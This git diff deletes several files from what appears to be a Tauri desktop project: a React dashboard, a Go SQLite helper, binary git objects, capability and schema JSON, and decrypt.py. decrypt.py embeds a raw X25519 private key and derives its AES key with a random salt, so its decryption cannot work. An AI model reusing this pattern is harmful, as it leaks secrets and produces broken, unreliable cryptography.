    - - - {table.getHeaderGroups().map((headerGroup) => ( - - {headerGroup.headers.map((header) => { - return ( - - {header.isPlaceholder - ? null - : flexRender( - header.column.columnDef.header, - header.getContext(), - )} - - ); - })} - - ))} - - - {table.getRowModel().rows?.length ? ( - table.getRowModel().rows.map((row) => ( - - {row.getVisibleCells().map((cell) => ( - - {flexRender( - cell.column.columnDef.cell, - cell.getContext(), - )} - - ))} - - )) - ) : ( - - - No results. - - - )} - -
    -
    -
    -
    - Showing {startRow}-{endRow} of{" "} - {table.getFilteredRowModel().rows.length} rows. -
    -
    - - -
    -
    -
    - ); -} - -function Dashboard() { - const [time, setTime] = React.useState(""); - - React.useEffect(() => { - const updateTime = () => { - const currentTime = new Date().toLocaleTimeString(); - setTime(currentTime); - }; - - updateTime(); - - const intervalId = setInterval(updateTime, 1000); - - return () => clearInterval(intervalId); - }, []); - - const { toast } = useToast(); - - return ( - <> -
    - - -
    -
    - Logo -
    - -
    {time}
    - - - - - - meow - - - - My Account - - - Profile - Billing - Settings - - - Leaderboard - GitHub - Support - API - - Log out - - -
    - -
    -
    - -
    -
    -
    - - - ); -} - -export default Dashboard; diff --git a/database.go b/database.go deleted file mode 100644 index 37482bf..0000000 --- a/database.go +++ /dev/null @@ -1,22 +0,0 @@ -package db - -import ( - "angel_server/consts" - "database/sql" - "log" - - _ "github.com/mattn/go-sqlite3" -) - -func CheckLayer(db *sql.DB, layerID int) bool { - var exists bool - - query := `SELECT EXISTS(SELECT 1 FROM layers WHERE layer_id = ?);` - - err := consts.Db.QueryRow(query, layerID).Scan(&exists) - if err != nil { - log.Fatal(err) - } - - return exists -} \ No newline at end of file diff --git a/dc1d66ab5752bb8929bbb4ca0daee1df5f30da b/dc1d66ab5752bb8929bbb4ca0daee1df5f30da deleted file mode 100644 index 9b06855c5f32d37f4febab61fa96e6b091551818463bb0e189d1d13a338afd1d..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 53 zcmbuZ^P0A1+Kto6n$_V89;-&To}S2e`EOkHx=wRu J29r4cBLL{p6cGRb diff --git a/dc2f5b15f290952f28a6983d56a879d5273ffe b/dc2f5b15f290952f28a6983d56a879d5273ffe deleted file mode 100644 index 7c678268f2d516ae4b5f8d3e349563d740e1187503980634e1cb2b85a0f8e615..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 471 zcmV;|0Vw`>0gY14j?*v@=Io~!83`_J(pFlrti%EF2q1B&qFpDRBtsoLc#Je-j zmKBRQAVrBY{(k1Kb)kiKw>Phjv*}J|z(#p9A$$OB{D4lYM~qCtm&mT#S39jNau;b% z*XYNBy8}nVn9f+<@CGLGG#N*nsN2AT3FdId*k=dETfj>~&(u1EPY39uSe`>XX=QR6 zLu7F~>fPl;%(_u%>9^Toci3yCUc+ZZm_kH2;litC8j&Jc?8UmkC7NJNY394SwxO$H z=CpNERu$q>!MjBS#EwNtM)Q@t4QJjI)N{pyXyvx*!c;#Oel2<>a(#QVfB$mY zrB1E7XcBJIGM6So)w9W3(mx7uNf~thL2RkElxuE8+ed NKW)0~*e^Xf3b+V|<){Dv diff --git a/decrypt.py b/decrypt.py deleted file mode 100644 index e420500..0000000 --- a/decrypt.py +++ /dev/null @@ -1,99 +0,0 @@ -import os -from cryptography.hazmat.primitives import serialization -from cryptography.hazmat.primitives.asymmetric import x25519 -from cryptography.hazmat.primitives.kdf.scrypt import Scrypt -from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes -from cryptography.hazmat.backends import default_backend - -private_key_hex = [ - 0xA8, - 0x52, - 0x05, - 0xD2, - 0x9F, - 0x6B, - 0xD4, - 0x8B, - 0x08, - 0x64, - 0x59, - 0xE0, - 0xAB, - 0xD1, - 0x06, - 0x3D, - 0xCE, - 0xF2, - 0xEA, - 0xB7, - 0xEE, - 0x19, - 0x96, - 0x5A, - 0xD6, - 0x11, - 0xE5, - 0x3F, - 0x5E, - 0xA2, - 0x9C, - 0x58, -] - -public_key_hex = [ - 0x63, - 0x33, - 0xA2, - 0x5F, - 0x48, - 0xBB, - 0x69, - 0x8E, - 0x1A, - 0x90, - 0x02, - 0x83, - 0x20, - 0xD2, - 0x05, - 0x6A, - 0xA1, - 0x6E, - 0x37, - 0x2E, - 0xDD, - 0x84, - 0xB4, - 0x06, - 0x20, - 0xC8, - 0xBC, - 0xB6, - 0x82, - 0x17, - 0x81, - 0x51, -] - -private_key_bytes = bytes(private_key_hex) -public_key_bytes = bytes(public_key_hex) - -private_key = x25519.X25519PrivateKey.from_private_bytes(private_key_bytes) - -public_key = x25519.X25519PublicKey.from_public_bytes(public_key_bytes) - -shared_secret = private_key.exchange(public_key) - -kdf = Scrypt( - salt=os.urandom(16), length=32, n=2**14, r=8, p=1, backend=default_backend() -) -aes_key = kdf.derive(shared_secret) - -ciphertext = b"" -nonce = b"" - -cipher = Cipher(algorithms.AES(aes_key), modes.GCM(nonce), backend=default_backend()) -decryptor = cipher.decryptor() -decrypted_data = decryptor.update(ciphertext) + decryptor.finalize() - -print("Decrypted Data:", decrypted_data) diff --git a/default.json b/default.json deleted file mode 100644 index 2a8c7a6..0000000 --- a/default.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "$schema": "../gen/schemas/desktop-schema.json", - "identifier": "default", - "description": "Capability for the main window", - "windows": ["main"], - "permissions": ["core:default", "shell:allow-open"] -} diff --git a/description b/description deleted file mode 100644 index f225008..0000000 --- a/description +++ /dev/null @@ -1 +0,0 @@ -Unnamed repository; edit this file 'description' to name the repository. diff --git a/desktop-schema.json b/desktop-schema.json deleted file mode 100644 index 5a0123f..0000000 --- a/desktop-schema.json +++ /dev/null @@ -1,2054 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-07/schema#", - "title": "CapabilityFile", - "description": "Capability formats accepted in a capability file.", - "anyOf": [ - { - "description": "A single capability.", - "allOf": [ - { - "$ref": "#/definitions/Capability" - } - ] - }, - { - "description": "A list of capabilities.", - "type": "array", - "items": { - "$ref": "#/definitions/Capability" - } - }, - { - "description": "A list of capabilities.", - "type": "object", - "required": [ - "capabilities" - ], - "properties": { - "capabilities": { - "description": "The list of capabilities.", - "type": "array", - "items": { - "$ref": "#/definitions/Capability" - } - } - } - } - ], - "definitions": { - "Capability": { - "description": "A grouping and boundary mechanism developers can use to isolate access to the IPC layer.\n\nIt controls application windows fine grained access to the Tauri core, application, or plugin commands. If a window is not matching any capability then it has no access to the IPC layer at all.\n\nThis can be done to create groups of windows, based on their required system access, which can reduce impact of frontend vulnerabilities in less privileged windows. Windows can be added to a capability by exact name (e.g. `main-window`) or glob patterns like `*` or `admin-*`. A Window can have none, one, or multiple associated capabilities.\n\n## Example\n\n```json { \"identifier\": \"main-user-files-write\", \"description\": \"This capability allows the `main` window on macOS and Windows access to `filesystem` write related commands and `dialog` commands to enable programatic access to files selected by the user.\", \"windows\": [ \"main\" ], \"permissions\": [ \"core:default\", \"dialog:open\", { \"identifier\": \"fs:allow-write-text-file\", \"allow\": [{ \"path\": \"$HOME/test.txt\" }] }, \"platforms\": [\"macOS\",\"windows\"] } ```", - "type": "object", - "required": [ - "identifier", - "permissions" - ], - "properties": { - "identifier": { - "description": "Identifier of the capability.\n\n## Example\n\n`main-user-files-write`", - "type": "string" - }, - "description": { - "description": "Description of what the capability is intended to allow on associated windows.\n\nIt should contain a description of what the grouped permissions should allow.\n\n## Example\n\nThis capability allows the `main` window access to `filesystem` write related commands and `dialog` commands to enable programatic access to files selected by the user.", - "default": "", - "type": "string" - }, - "remote": { - "description": "Configure remote URLs that can use the capability permissions.\n\nThis setting is optional and defaults to not being set, as our default use case is that the content is served from our local application.\n\n:::caution Make sure you understand the security implications of providing remote sources with local system access. :::\n\n## Example\n\n```json { \"urls\": [\"https://*.mydomain.dev\"] } ```", - "anyOf": [ - { - "$ref": "#/definitions/CapabilityRemote" - }, - { - "type": "null" - } - ] - }, - "local": { - "description": "Whether this capability is enabled for local app URLs or not. Defaults to `true`.", - "default": true, - "type": "boolean" - }, - "windows": { - "description": "List of windows that are affected by this capability. Can be a glob pattern.\n\nOn multiwebview windows, prefer [`Self::webviews`] for a fine grained access control.\n\n## Example\n\n`[\"main\"]`", - "type": "array", - "items": { - "type": "string" - } - }, - "webviews": { - "description": "List of webviews that are affected by this capability. Can be a glob pattern.\n\nThis is only required when using on multiwebview contexts, by default all child webviews of a window that matches [`Self::windows`] are linked.\n\n## Example\n\n`[\"sub-webview-one\", \"sub-webview-two\"]`", - "type": "array", - "items": { - "type": "string" - } - }, - "permissions": { - "description": "List of permissions attached to this capability.\n\nMust include the plugin name as prefix in the form of `${plugin-name}:${permission-name}`. For commands directly implemented in the application itself only `${permission-name}` is required.\n\n## Example\n\n```json [ \"core:default\", \"shell:allow-open\", \"dialog:open\", { \"identifier\": \"fs:allow-write-text-file\", \"allow\": [{ \"path\": \"$HOME/test.txt\" }] } ```", - "type": "array", - "items": { - "$ref": "#/definitions/PermissionEntry" - }, - "uniqueItems": true - }, - "platforms": { - "description": "Limit which target platforms this capability applies to.\n\nBy default all platforms are targeted.\n\n## Example\n\n`[\"macOS\",\"windows\"]`", - "type": [ - "array", - "null" - ], - "items": { - "$ref": "#/definitions/Target" - } - } - } - }, - "CapabilityRemote": { - "description": "Configuration for remote URLs that are associated with the capability.", - "type": "object", - "required": [ - "urls" - ], - "properties": { - "urls": { - "description": "Remote domains this capability refers to using the [URLPattern standard](https://urlpattern.spec.whatwg.org/).\n\n## Examples\n\n- \"https://*.mydomain.dev\": allows subdomains of mydomain.dev - \"https://mydomain.dev/api/*\": allows any subpath of mydomain.dev/api", - "type": "array", - "items": { - "type": "string" - } - } - } - }, - "PermissionEntry": { - "description": "An entry for a permission value in a [`Capability`] can be either a raw permission [`Identifier`] or an object that references a permission and extends its scope.", - "anyOf": [ - { - "description": "Reference a permission or permission set by identifier.", - "allOf": [ - { - "$ref": "#/definitions/Identifier" - } - ] - }, - { - "description": "Reference a permission or permission set by identifier and extends its scope.", - "type": "object", - "allOf": [ - { - "if": { - "properties": { - "identifier": { - "anyOf": [ - { - "description": "This permission set configures which\nshell functionality is exposed by default.\n\n#### Granted Permissions\n\nIt allows to use the `open` functionality without any specific\nscope pre-configured. It will allow opening `http(s)://`,\n`tel:` and `mailto:` links.\n", - "type": "string", - "const": "shell:default" - }, - { - "description": "Enables the execute command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-execute" - }, - { - "description": "Enables the kill command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-kill" - }, - { - "description": "Enables the open command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-open" - }, - { - "description": "Enables the spawn command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-spawn" - }, - { - "description": "Enables the stdin_write command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-stdin-write" - }, - { - "description": "Denies the execute command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-execute" - }, - { - "description": "Denies the kill command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-kill" - }, - { - "description": "Denies the open command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-open" - }, - { - "description": "Denies the spawn command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-spawn" - }, - { - "description": "Denies the stdin_write command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-stdin-write" - } - ] - } - } - }, - "then": { - "properties": { - "allow": { - "items": { - "title": "ShellScopeEntry", - "description": "Shell scope entry.", - "anyOf": [ - { - "type": "object", - "required": [ - "cmd", - "name" - ], - "properties": { - "args": { - "description": "The allowed arguments for the command execution.", - "allOf": [ - { - "$ref": "#/definitions/ShellScopeEntryAllowedArgs" - } - ] - }, - "cmd": { - "description": "The command name. It can start with a variable that resolves to a system base directory. The variables are: `$AUDIO`, `$CACHE`, `$CONFIG`, `$DATA`, `$LOCALDATA`, `$DESKTOP`, `$DOCUMENT`, `$DOWNLOAD`, `$EXE`, `$FONT`, `$HOME`, `$PICTURE`, `$PUBLIC`, `$RUNTIME`, `$TEMPLATE`, `$VIDEO`, `$RESOURCE`, `$LOG`, `$TEMP`, `$APPCONFIG`, `$APPDATA`, `$APPLOCALDATA`, `$APPCACHE`, `$APPLOG`.", - "type": "string" - }, - "name": { - "description": "The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.", - "type": "string" - } - }, - "additionalProperties": false - }, - { - "type": "object", - "required": [ - "name", - "sidecar" - ], - "properties": { - "args": { - "description": "The allowed arguments for the command execution.", - "allOf": [ - { - "$ref": "#/definitions/ShellScopeEntryAllowedArgs" - } - ] - }, - "name": { - "description": "The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.", - "type": "string" - }, - "sidecar": { - "description": "If this command is a sidecar command.", - "type": "boolean" - } - }, - "additionalProperties": false - } - ] - } - }, - "deny": { - "items": { - "title": "ShellScopeEntry", - "description": "Shell scope entry.", - "anyOf": [ - { - "type": "object", - "required": [ - "cmd", - "name" - ], - "properties": { - "args": { - "description": "The allowed arguments for the command execution.", - "allOf": [ - { - "$ref": "#/definitions/ShellScopeEntryAllowedArgs" - } - ] - }, - "cmd": { - "description": "The command name. It can start with a variable that resolves to a system base directory. The variables are: `$AUDIO`, `$CACHE`, `$CONFIG`, `$DATA`, `$LOCALDATA`, `$DESKTOP`, `$DOCUMENT`, `$DOWNLOAD`, `$EXE`, `$FONT`, `$HOME`, `$PICTURE`, `$PUBLIC`, `$RUNTIME`, `$TEMPLATE`, `$VIDEO`, `$RESOURCE`, `$LOG`, `$TEMP`, `$APPCONFIG`, `$APPDATA`, `$APPLOCALDATA`, `$APPCACHE`, `$APPLOG`.", - "type": "string" - }, - "name": { - "description": "The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.", - "type": "string" - } - }, - "additionalProperties": false - }, - { - "type": "object", - "required": [ - "name", - "sidecar" - ], - "properties": { - "args": { - "description": "The allowed arguments for the command execution.", - "allOf": [ - { - "$ref": "#/definitions/ShellScopeEntryAllowedArgs" - } - ] - }, - "name": { - "description": "The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.", - "type": "string" - }, - "sidecar": { - "description": "If this command is a sidecar command.", - "type": "boolean" - } - }, - "additionalProperties": false - } - ] - } - } - } - }, - "properties": { - "identifier": { - "description": "Identifier of the permission or permission set.", - "allOf": [ - { - "$ref": "#/definitions/Identifier" - } - ] - } - } - }, - { - "properties": { - "identifier": { - "description": "Identifier of the permission or permission set.", - "allOf": [ - { - "$ref": "#/definitions/Identifier" - } - ] - }, - "allow": { - "description": "Data that defines what is allowed by the scope.", - "type": [ - "array", - "null" - ], - "items": { - "$ref": "#/definitions/Value" - } - }, - "deny": { - "description": "Data that defines what is denied by the scope. This should be prioritized by validation logic.", - "type": [ - "array", - "null" - ], - "items": { - "$ref": "#/definitions/Value" - } - } - } - } - ], - "required": [ - "identifier" - ] - } - ] - }, - "Identifier": { - "description": "Permission identifier", - "oneOf": [ - { - "description": "Default core plugins set which includes:\n- 'core:path:default'\n- 'core:event:default'\n- 'core:window:default'\n- 'core:webview:default'\n- 'core:app:default'\n- 'core:image:default'\n- 'core:resources:default'\n- 'core:menu:default'\n- 'core:tray:default'\n", - "type": "string", - "const": "core:default" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:app:default" - }, - { - "description": "Enables the app_hide command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-app-hide" - }, - { - "description": "Enables the app_show command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-app-show" - }, - { - "description": "Enables the default_window_icon command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-default-window-icon" - }, - { - "description": "Enables the name command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-name" - }, - { - "description": "Enables the set_app_theme command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-set-app-theme" - }, - { - "description": "Enables the tauri_version command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-tauri-version" - }, - { - "description": "Enables the version command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-version" - }, - { - "description": "Denies the app_hide command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-app-hide" - }, - { - "description": "Denies the app_show command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-app-show" - }, - { - "description": "Denies the default_window_icon command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-default-window-icon" - }, - { - "description": "Denies the name command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-name" - }, - { - "description": "Denies the set_app_theme command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-set-app-theme" - }, - { - "description": "Denies the tauri_version command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-tauri-version" - }, - { - "description": "Denies the version command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-version" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:event:default" - }, - { - "description": "Enables the emit command without any pre-configured scope.", - "type": "string", - "const": "core:event:allow-emit" - }, - { - "description": "Enables the emit_to command without any pre-configured scope.", - "type": "string", - "const": "core:event:allow-emit-to" - }, - { - "description": "Enables the listen command without any pre-configured scope.", - "type": "string", - "const": "core:event:allow-listen" - }, - { - "description": "Enables the unlisten command without any pre-configured scope.", - "type": "string", - "const": "core:event:allow-unlisten" - }, - { - "description": "Denies the emit command without any pre-configured scope.", - "type": "string", - "const": "core:event:deny-emit" - }, - { - "description": "Denies the emit_to command without any pre-configured scope.", - "type": "string", - "const": "core:event:deny-emit-to" - }, - { - "description": "Denies the listen command without any pre-configured scope.", - "type": "string", - "const": "core:event:deny-listen" - }, - { - "description": "Denies the unlisten command without any pre-configured scope.", - "type": "string", - "const": "core:event:deny-unlisten" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:image:default" - }, - { - "description": "Enables the from_bytes command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-from-bytes" - }, - { - "description": "Enables the from_path command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-from-path" - }, - { - "description": "Enables the new command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-new" - }, - { - "description": "Enables the rgba command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-rgba" - }, - { - "description": "Enables the size command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-size" - }, - { - "description": "Denies the from_bytes command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-from-bytes" - }, - { - "description": "Denies the from_path command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-from-path" - }, - { - "description": "Denies the new command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-new" - }, - { - "description": "Denies the rgba command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-rgba" - }, - { - "description": "Denies the size command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-size" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:menu:default" - }, - { - "description": "Enables the append command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-append" - }, - { - "description": "Enables the create_default command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-create-default" - }, - { - "description": "Enables the get command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-get" - }, - { - "description": "Enables the insert command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-insert" - }, - { - "description": "Enables the is_checked command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-is-checked" - }, - { - "description": "Enables the is_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-is-enabled" - }, - { - "description": "Enables the items command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-items" - }, - { - "description": "Enables the new command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-new" - }, - { - "description": "Enables the popup command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-popup" - }, - { - "description": "Enables the prepend command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-prepend" - }, - { - "description": "Enables the remove command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-remove" - }, - { - "description": "Enables the remove_at command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-remove-at" - }, - { - "description": "Enables the set_accelerator command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-accelerator" - }, - { - "description": "Enables the set_as_app_menu command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-as-app-menu" - }, - { - "description": "Enables the set_as_help_menu_for_nsapp command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-as-help-menu-for-nsapp" - }, - { - "description": "Enables the set_as_window_menu command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-as-window-menu" - }, - { - "description": "Enables the set_as_windows_menu_for_nsapp command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-as-windows-menu-for-nsapp" - }, - { - "description": "Enables the set_checked command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-checked" - }, - { - "description": "Enables the set_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-enabled" - }, - { - "description": "Enables the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-icon" - }, - { - "description": "Enables the set_text command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-text" - }, - { - "description": "Enables the text command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-text" - }, - { - "description": "Denies the append command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-append" - }, - { - "description": "Denies the create_default command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-create-default" - }, - { - "description": "Denies the get command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-get" - }, - { - "description": "Denies the insert command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-insert" - }, - { - "description": "Denies the is_checked command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-is-checked" - }, - { - "description": "Denies the is_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-is-enabled" - }, - { - "description": "Denies the items command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-items" - }, - { - "description": "Denies the new command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-new" - }, - { - "description": "Denies the popup command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-popup" - }, - { - "description": "Denies the prepend command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-prepend" - }, - { - "description": "Denies the remove command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-remove" - }, - { - "description": "Denies the remove_at command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-remove-at" - }, - { - "description": "Denies the set_accelerator command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-accelerator" - }, - { - "description": "Denies the set_as_app_menu command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-as-app-menu" - }, - { - "description": "Denies the set_as_help_menu_for_nsapp command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-as-help-menu-for-nsapp" - }, - { - "description": "Denies the set_as_window_menu command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-as-window-menu" - }, - { - "description": "Denies the set_as_windows_menu_for_nsapp command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-as-windows-menu-for-nsapp" - }, - { - "description": "Denies the set_checked command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-checked" - }, - { - "description": "Denies the set_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-enabled" - }, - { - "description": "Denies the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-icon" - }, - { - "description": "Denies the set_text command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-text" - }, - { - "description": "Denies the text command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-text" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:path:default" - }, - { - "description": "Enables the basename command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-basename" - }, - { - "description": "Enables the dirname command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-dirname" - }, - { - "description": "Enables the extname command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-extname" - }, - { - "description": "Enables the is_absolute command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-is-absolute" - }, - { - "description": "Enables the join command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-join" - }, - { - "description": "Enables the normalize command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-normalize" - }, - { - "description": "Enables the resolve command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-resolve" - }, - { - "description": "Enables the resolve_directory command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-resolve-directory" - }, - { - "description": "Denies the basename command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-basename" - }, - { - "description": "Denies the dirname command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-dirname" - }, - { - "description": "Denies the extname command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-extname" - }, - { - "description": "Denies the is_absolute command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-is-absolute" - }, - { - "description": "Denies the join command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-join" - }, - { - "description": "Denies the normalize command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-normalize" - }, - { - "description": "Denies the resolve command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-resolve" - }, - { - "description": "Denies the resolve_directory command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-resolve-directory" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:resources:default" - }, - { - "description": "Enables the close command without any pre-configured scope.", - "type": "string", - "const": "core:resources:allow-close" - }, - { - "description": "Denies the close command without any pre-configured scope.", - "type": "string", - "const": "core:resources:deny-close" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:tray:default" - }, - { - "description": "Enables the get_by_id command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-get-by-id" - }, - { - "description": "Enables the new command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-new" - }, - { - "description": "Enables the remove_by_id command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-remove-by-id" - }, - { - "description": "Enables the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-icon" - }, - { - "description": "Enables the set_icon_as_template command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-icon-as-template" - }, - { - "description": "Enables the set_menu command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-menu" - }, - { - "description": "Enables the set_show_menu_on_left_click command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-show-menu-on-left-click" - }, - { - "description": "Enables the set_temp_dir_path command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-temp-dir-path" - }, - { - "description": "Enables the set_title command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-title" - }, - { - "description": "Enables the set_tooltip command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-tooltip" - }, - { - "description": "Enables the set_visible command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-visible" - }, - { - "description": "Denies the get_by_id command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-get-by-id" - }, - { - "description": "Denies the new command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-new" - }, - { - "description": "Denies the remove_by_id command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-remove-by-id" - }, - { - "description": "Denies the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-icon" - }, - { - "description": "Denies the set_icon_as_template command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-icon-as-template" - }, - { - "description": "Denies the set_menu command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-menu" - }, - { - "description": "Denies the set_show_menu_on_left_click command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-show-menu-on-left-click" - }, - { - "description": "Denies the set_temp_dir_path command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-temp-dir-path" - }, - { - "description": "Denies the set_title command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-title" - }, - { - "description": "Denies the set_tooltip command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-tooltip" - }, - { - "description": "Denies the set_visible command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-visible" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:webview:default" - }, - { - "description": "Enables the clear_all_browsing_data command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-clear-all-browsing-data" - }, - { - "description": "Enables the create_webview command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-create-webview" - }, - { - "description": "Enables the create_webview_window command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-create-webview-window" - }, - { - "description": "Enables the get_all_webviews command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-get-all-webviews" - }, - { - "description": "Enables the internal_toggle_devtools command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-internal-toggle-devtools" - }, - { - "description": "Enables the print command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-print" - }, - { - "description": "Enables the reparent command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-reparent" - }, - { - "description": "Enables the set_webview_focus command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-set-webview-focus" - }, - { - "description": "Enables the set_webview_position command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-set-webview-position" - }, - { - "description": "Enables the set_webview_size command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-set-webview-size" - }, - { - 